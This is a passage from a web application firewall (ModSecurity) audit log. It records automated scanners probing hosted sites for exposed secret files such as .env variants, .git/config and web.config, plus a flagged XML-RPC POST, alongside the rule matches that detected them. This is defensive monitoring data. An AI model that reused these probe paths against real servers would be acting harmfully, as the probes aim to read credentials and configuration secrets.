Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --114eca60-Z-- --3dc5c548-A-- [16/Jun/2025:04:33:50.756829 +0530] aE9RVn2GhYywD7zZgx4ERwAAAAM 185.177.72.210 46434 127.0.0.1 7081 --3dc5c548-B-- GET /staging/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dc5c548-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=00cae77400a0c143d36e4939aa3670061750028630; expires=Mon, 16 Jun 2025 00:03:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dc5c548-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staging/frontend/.env"] [unique_id "aE9RVn2GhYywD7zZgx4ERwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028630115833 641086 (- - -) Stopwatch2: 1750028630115833 641086; combined=1831, p1=344, p2=1375, p3=0, p4=0, p5=112, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dc5c548-Z-- --99b51166-A-- [16/Jun/2025:04:33:55.820991 +0530] aE9RW32GhYywD7zZgx4ESQAAAAM 185.177.72.210 46626 127.0.0.1 7081 --99b51166-B-- GET /:5000/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99b51166-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a24c65762b6b4369341434619a00f8c21750028635; expires=Mon, 16 Jun 2025 00:03:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99b51166-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/audio/.env"] [unique_id "aE9RW32GhYywD7zZgx4ESQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028635173548 647506 (- - -) Stopwatch2: 1750028635173548 647506; combined=1669, p1=371, p2=1206, p3=0, p4=0, p5=91, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99b51166-Z-- --46015e56-A-- [16/Jun/2025:04:34:07.800205 +0530] aE9RZrV9qKUox3X8g1YmhgAAAAg 128.199.112.101 53852 127.0.0.1 7081 --46015e56-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --46015e56-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --46015e56-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9RZrV9qKUox3X8g1YmhgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028646846813 953458 (- - -) Stopwatch2: 1750028646846813 953458; combined=2445, p1=378, p2=1702, p3=40, p4=58, p5=165, sr=109, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46015e56-Z-- --c6f3a817-A-- [16/Jun/2025:04:34:09.113870 +0530] aE9RaHwHSJGQ1A1pR0qaNwAAAAY 185.177.72.210 53942 127.0.0.1 7081 --c6f3a817-B-- GET /.env.sample.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6f3a817-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a29e2cbbdc661fdbf496bb315dfcdd4b1750028648; expires=Mon, 16 Jun 2025 00:04:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6f3a817-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.sample.php"] [unique_id "aE9RaHwHSJGQ1A1pR0qaNwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028648429333 684600 (- - -) Stopwatch2: 1750028648429333 684600; combined=1832, p1=359, p2=1363, p3=0, p4=0, p5=110, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6f3a817-Z-- --be643554-A-- [16/Jun/2025:04:34:11.128213 +0530] aE9RanwHSJGQ1A1pR0qaOAAAAAY 185.177.72.210 37764 127.0.0.1 7081 --be643554-B-- GET /credentials/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --be643554-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f1a2f7ca6a90c14c2d2bca76cae986511750028650; expires=Mon, 16 Jun 2025 00:04:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --be643554-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.example"] [unique_id "aE9RanwHSJGQ1A1pR0qaOAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028650463594 664693 (- - -) Stopwatch2: 1750028650463594 664693; combined=1811, p1=358, p2=1348, p3=0, p4=0, p5=104, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --be643554-Z-- --c75cb115-A-- [16/Jun/2025:04:34:19.081753 +0530] aE9RcvNXjUHq-Wm7C_8YYgAAAAQ 35.236.216.236 38076 127.0.0.1 7081 --c75cb115-B-- GET /.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 35.236.216.236 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept-Encoding: gzip --c75cb115-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ea4de59ca194744893dc5071d74c4d961750028658; expires=Mon, 16 Jun 2025 00:04:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c75cb115-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/config"] [unique_id "aE9RcvNXjUHq-Wm7C_8YYgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028658295541 786286 (- - -) Stopwatch2: 1750028658295541 786286; combined=1864, p1=368, p2=1391, p3=0, p4=0, p5=104, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c75cb115-Z-- --9e562703-A-- [16/Jun/2025:04:34:31.918266 +0530] aE9Rf7BfUm2FdhH5voEShwAAAAU 185.177.72.210 52518 127.0.0.1 7081 --9e562703-B-- GET /:5000/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e562703-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=620b498ffd333a75c60234a23b88c59a1750028671; expires=Mon, 16 Jun 2025 00:04:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e562703-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/application/.env"] [unique_id "aE9Rf7BfUm2FdhH5voEShwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028671257792 660537 (- - -) Stopwatch2: 1750028671257792 660537; combined=2001, p1=395, p2=1507, p3=0, p4=0, p5=99, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e562703-Z-- --718df87c-A-- [16/Jun/2025:04:34:35.184187 +0530] aE9Rgn2GhYywD7zZgx4EWwAAAAM 185.177.72.210 52670 127.0.0.1 7081 --718df87c-B-- GET /:8080/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --718df87c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d6985b22c67138a9e6174733f16ede51750028675; expires=Mon, 16 Jun 2025 00:04:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --718df87c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.backup"] [unique_id "aE9Rgn2GhYywD7zZgx4EWwAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.backup"] [unique_id "aE9Rgn2GhYywD7zZgx4EWwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028674531955 652296 (- - -) Stopwatch2: 1750028674531955 652296; combined=2017, p1=403, p2=1446, p3=0, p4=0, p5=167, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --718df87c-Z-- --e4d0a246-A-- [16/Jun/2025:04:34:39.302575 +0530] aE9RhpbumDYPKpRD2ekppwAAAAA 185.177.72.210 52884 127.0.0.1 7081 --e4d0a246-B-- GET /lambda/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e4d0a246-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c43c2eab3e2ea3a1f67da1f984449b701750028679; expires=Mon, 16 Jun 2025 00:04:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e4d0a246-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lambda/.env"] [unique_id "aE9RhpbumDYPKpRD2ekppwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028678652820 649835 (- - -) Stopwatch2: 1750028678652820 649835; combined=1789, p1=364, p2=1330, p3=0, p4=0, p5=94, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e4d0a246-Z-- --27e3ff4d-A-- [16/Jun/2025:04:34:41.466326 +0530] aE9RiH2GhYywD7zZgx4EXwAAAAM 185.177.72.210 42656 127.0.0.1 7081 --27e3ff4d-B-- GET /:5000/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --27e3ff4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f08e578c6e7ce08d30fe93752d532f41750028681; expires=Mon, 16 Jun 2025 00:04:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --27e3ff4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/temp/.env"] [unique_id "aE9RiH2GhYywD7zZgx4EXwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028680680155 786235 (- - -) Stopwatch2: 1750028680680155 786235; combined=3811, p1=615, p2=3097, p3=0, p4=0, p5=99, sr=136, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27e3ff4d-Z-- --a178c404-A-- [16/Jun/2025:04:34:44.525309 +0530] aE9Ri5bumDYPKpRD2ekpqgAAAAA 185.177.72.210 42802 127.0.0.1 7081 --a178c404-B-- GET /:8008/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a178c404-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23e5c0480cdbe44fd2f80d1006ef6c8a1750028684; expires=Mon, 16 Jun 2025 00:04:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a178c404-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/pub/.env"] [unique_id "aE9Ri5bumDYPKpRD2ekpqgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028683867680 657707 (- - -) Stopwatch2: 1750028683867680 657707; combined=1797, p1=357, p2=1352, p3=0, p4=0, p5=87, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a178c404-Z-- --35f32176-A-- [16/Jun/2025:04:34:50.220795 +0530] aE9RkXwHSJGQ1A1pR0qaTwAAAAY 185.177.72.210 35024 127.0.0.1 7081 --35f32176-B-- GET /:8181/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35f32176-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=09150859900cfe815c837c59ca25e5a61750028690; expires=Mon, 16 Jun 2025 00:04:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35f32176-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/app/config/.env"] [unique_id "aE9RkXwHSJGQ1A1pR0qaTwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028689543133 677724 (- - -) Stopwatch2: 1750028689543133 677724; combined=1980, p1=410, p2=1476, p3=0, p4=0, p5=94, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35f32176-Z-- --2e8ce764-A-- [16/Jun/2025:04:34:55.311882 +0530] aE9RluxC6fQU5wYvxvly4QAAAAk 185.177.72.210 35264 127.0.0.1 7081 --2e8ce764-B-- GET /bitrix/web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e8ce764-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2a5b6900313ad6af4e4f8b37a16cdf1a1750028695; expires=Mon, 16 Jun 2025 00:04:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e8ce764-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/web.config"] [unique_id "aE9RluxC6fQU5wYvxvly4QAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/web.config"] [unique_id "aE9RluxC6fQU5wYvxvly4QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028694636727 675221 (- - -) Stopwatch2: 1750028694636727 675221; 